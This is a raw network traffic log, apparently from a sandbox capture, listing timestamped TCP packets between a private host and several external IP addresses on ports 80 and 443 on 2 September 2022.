Sep 2, 2022 14:02:25.447760105 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.447777987 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.447819948 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.448132992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.448179960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.448204041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.448220968 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.448251009 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.448277950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.448370934 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.448390007 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.448416948 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.448436975 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.448690891 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.448750019 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.448771000 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.448790073 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.448817015 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.448930025 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.448967934 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.448987961 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.448997021 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.449018002 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.449312925 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.449340105 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.449357033 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.449371099 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.449394941 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.449520111 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.449573994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.449593067 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.449628115 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.449902058 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.449965954 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.449984074 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.450006962 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.450032949 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.450136900 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.450165033 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.450182915 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.450191021 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.450212955 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.450555086 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.450573921 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.450587988 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.450622082 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.450792074 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.450813055 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.450825930 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.450849056 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.450876951 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.582572937 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.582643986 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.582691908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.582711935 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.582736969 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.582753897 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.582776070 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.582777023 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.582803965 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.582823038 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.583470106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.583514929 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.583544970 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.583571911 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.584084988 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.584156036 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.584184885 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.584213018 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.584222078 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.584263086 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.584290981 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.584314108 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.584538937 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.584582090 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.584608078 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.584635973 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.584820986 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.584865093 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.584893942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.584923983 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.585752964 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.585808992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.585835934 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.585891962 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.585902929 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.585944891 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.585974932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.585977077 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.586014032 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.586309910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.586365938 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.586393118 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.586430073 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.586587906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.586628914 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.586657047 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.586658001 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.586677074 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.586795092 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.586837053 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.586863041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.586894989 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.586968899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.587013960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.587023020 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.587044001 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.587064981 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.587651968 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.587698936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.587728024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.587775946 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.587778091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.587819099 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.587846041 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.587846041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.587876081 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.588180065 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.588221073 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.588249922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.588283062 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.588413954 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.588457108 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.588484049 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.588527918 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.588870049 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.588912010 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.588937998 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.588939905 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.588958025 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.589142084 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.589185953 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.589221001 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.589252949 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.589279890 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.589322090 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.589358091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.589375973 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.589417934 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.589461088 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.589488983 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.589524984 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.589745045 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.589787960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.589813948 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.589818954 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.589894056 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.589992046 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.590030909 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.590045929 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.590058088 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.590079069 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.591011047 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.591043949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.591067076 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.591114044 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.894227982 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:25.894254923 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:26.146836042 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.146984100 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.340131044 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.340163946 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.340475082 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.340557098 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.347343922 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:26.347378016 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.356163979 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.399405003 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.421288967 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:26.421355009 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:26.421482086 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:26.426542044 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:26.426583052 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:26.432832956 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:26.432854891 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.434072971 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.434108019 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.434134007 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.434145927 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.434184074 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.434201002 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.434217930 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.434266090 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.441683054 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.441802025 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.481908083 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.481933117 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.482059002 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.482086897 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.482132912 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.482137918 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.511583090 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.511615992 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.511815071 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.511879921 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.511955023 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.530375004 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.530411005 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.530570030 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.530615091 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.530684948 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.545828104 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.545871973 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.545938969 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.545968056 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.545981884 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.546017885 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.558541059 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.558578968 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.558604956 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.558648109 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:26.558665991 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.558707952 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:26.558749914 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:26.559575081 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.559612036 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.559715033 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:26.559727907 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.559752941 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:26.559782982 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:26.563886881 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.563942909 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.564111948 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.564156055 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.564177036 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.564230919 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.565087080 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:26.565201998 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:26.576627016 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.576666117 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.577390909 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.577419996 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.577481985 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.588465929 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.588493109 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.588566065 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.588588953 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.588607073 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.588634014 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.596051931 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.596077919 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.596229076 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.596266985 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.596353054 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.603224039 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.603249073 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.603416920 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.603439093 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.603508949 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.607014894 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.607053995 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.607127905 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:26.607158899 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.607176065 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:26.607212067 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:26.607410908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.607515097 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.607530117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.607562065 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.607601881 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.607753992 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.607774019 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.607798100 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.607812881 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.607842922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.607850075 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:26.607862949 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.607898951 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:26.607908964 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.607932091 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:26.608571053 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.608599901 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.608633995 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.608640909 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.608669996 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.608714104 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.608726978 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:26.608735085 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.608746052 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.608763933 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:26.608802080 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:26.608910084 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.608946085 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.608972073 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.608989954 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.609002113 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.609008074 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.609045982 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.609067917 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.609075069 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.609116077 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.609206915 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.609245062 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.609268904 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.609294891 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.609304905 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.609304905 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.609354973 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.609365940 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.609384060 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.609412909 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.609571934 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.609610081 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.609635115 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.609637022 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.609667063 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.609771967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.609810114 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.609836102 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.609863043 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.609872103 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.609999895 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.610069990 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.610126972 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.610155106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.610179901 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.610470057 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.610503912 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.610529900 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.610532045 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.610558987 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.610809088 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.610872030 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.610888958 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.610914946 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.610939980 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.611124039 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.611149073 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.611164093 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.611232996 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.611233950 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.611259937 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.611267090 CEST	443	49803	95.142.206.1	192.168.2.6
